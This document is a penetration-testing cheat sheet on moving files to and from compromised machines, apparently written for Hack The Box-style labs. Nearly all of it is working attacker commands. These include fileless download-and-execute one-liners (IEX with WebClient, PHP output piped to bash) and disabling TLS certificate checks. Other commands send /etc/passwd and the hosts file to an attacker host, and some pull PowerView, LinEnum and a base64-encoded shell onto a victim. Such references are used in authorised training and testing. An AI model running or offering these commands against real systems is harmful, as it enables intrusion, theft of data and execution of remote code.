# File Transfers

## PowerShell

**File Download**

```
PS C:\htb> (New-Object Net.WebClient).DownloadFile('http://<ip>:<PORT>/example.txt','C:\Windows\Temp\example.txt')

PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('http://<ip>:<PORT>/example.txt','C:\Windows\Temp\example.txt')
```

**FileLess Method**

&#x20;PowerShell can also be used to perform fileless attacks. Instead of downloading a PowerShell script to disk, we can run it directly in memory using the [Invoke-Expression](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2) cmdlet or the alias `IEX`.

```
PS> iex (New-Object Net.WebClient).DownloadString('http://<IP>:<PORT>/file')
```

**PowerShell Invoke-WebRequest**

From PowerShell 3.0 onwards, the [Invoke-WebRequest](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2) cmdlet is also available, but it is noticeably slower at downloading files.

```
PS> Invoke-WebRequest http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>
PS> iwr <LHOST>/<FILE> -o <FILE>
PS> iwr -uri http://<ip>/<file> -Outfile <file>
```

### Common errors

**Internet Explorer first-launch**

There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download.

```
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
```

This can be bypassed using the parameter `-UseBasicParsing`.

```
PS> Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
```

**SSL/TLS**

Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted.

```
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException
```

We can bypass that error with the following command:

```
PS C:\htb> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
```

## SCP

```
scp FiletoTransfer <user>@<ip>:<path>
scp <user>@<ip>:</path/to/file> .
```

## NetCat

```
nc -lnvp <LPORT> > <FILE>
nc <RHOST> <RPORT> < <FILE>
```

**Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File**

```
cat < /dev/tcp/192.168.49.128/443 > <file>
```

## CertUtil

```
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>
```

## SMB

```
sudo impacket-smbserver <SHARE> ./
sudo impacket-smbserver <SHARE> . -smb2support
copy * \\<LHOST>\<SHARE>
```

**SMB Server with Username and Password**

New versions of Windows block unauthenticated guest access. To transfer files in this scenario, we can set a username and password using our Impacket SMB server and mount the SMB server on our windows target machine:

```
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
```

Then mount the smb server and copy the file:

```
net use n: \\192.168.220.133\share /user:test test
copy n:\nc.exe
```

## FTP

```
sudo python3 -m pyftpdlib --port 21
```

After the FTP server is set up, we can perform file transfers using the pre-installed FTP client from Windows or PowerShell Net.WebClient.

```
PS> (New-Object Net.WebClient).DownloadFile('ftp://<ip>/file.txt', 'C:\Users\Public\ftp-file.txt')
```

**Upload File**

```
PS> (New-Object Net.WebClient).UploadFile('ftp://<ip>/<file>', 'C:\Windows\System32\drivers\etc\hosts')
```

## WebDAV

An alternative is to run SMB over HTTP with WebDav. WebDAV (RFC 4918) is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other. The WebDAV protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV can also use HTTPS.

**Setting up**

```
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous 
```

**Connecting to Webdav Share**

```
dir \\192.168.49.128\DavWWWRoot
```

**Upload Files**

```
copy <file> \\192.168.49.129\DavWWWRoot\
```

## RDP

```
xfreerdp3 /u:<user> /p:'<pass>' /drive:<kali_path>,tmp
rdesktop <ip> -d <domain> -u <user> -p '<pass>' -r disk:linux='<path>'
```

## nc

**Attacker Machine**

```
nc -lvp 9000 > file.ext
```

**Victim Machine**

```
$type = [System.IO.File]::ReadAllBytes("C:\ruta\al\archivo.ext")
$client = New-Object System.Net.Sockets.TCPClient("<IP_Kali>",9000)
$stream = $client.GetStream()
$stream.Write($type, 0, $type.Length)
$stream.Close()
$client.Close()
```

## Base 64

### Attacker -> Victim

```
base64 <file> -w 0
cat <file> |base64 -w 0;echo
```

Now, we can copy this `base64` string, go to the remote host, and use `base64 -d` to decode it, and pipe the output into a file:

```
echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell
```

**Powershell**

```
PS> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS....."))
```

**Validating File Transfers**

To validate the format of a file, we can run the [file](https://linux.die.net/man/1/file) or md5sum command on it:

```
file <file>
md5sum <file>
```

**Powershell**

```
PS> Get-FileHash <file> -Algorithm md5
```

### Victim -> Attacker

Now, let's do the reverse operation and encode a file so we can decode it on our attack host.

```
PS> [Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
```

**Check the hash of the file**

```
Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash
```

**Decoding n Linux attacker machine**

```
echo IyBDb....Wxob3N0DQo= | base64 -d > hosts
md5sum hosts 
```

## Python

```
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
```

**UploadModule**

```
python3 -m uploadserver
```

```
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
```

## PHP

```
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
```

## Ruby

```
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
```

## Perl

```
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
```

```
perl -e 'use File::Fetch; my $ff=File::Fetch->new(uri => "http://10.10.10.11/exploit.sh"); my $file = $ff->fetch() or die $ff->error;'
```

## Javascript

**wget.js**

```javascript
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
```

**Download a File Using JavaScript and cscript.exe**

```
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
```

## Vbscript

**wget.vbs**

```vbscript
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
```

**Download a File Using VBScript and cscript.exe**

```
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
```
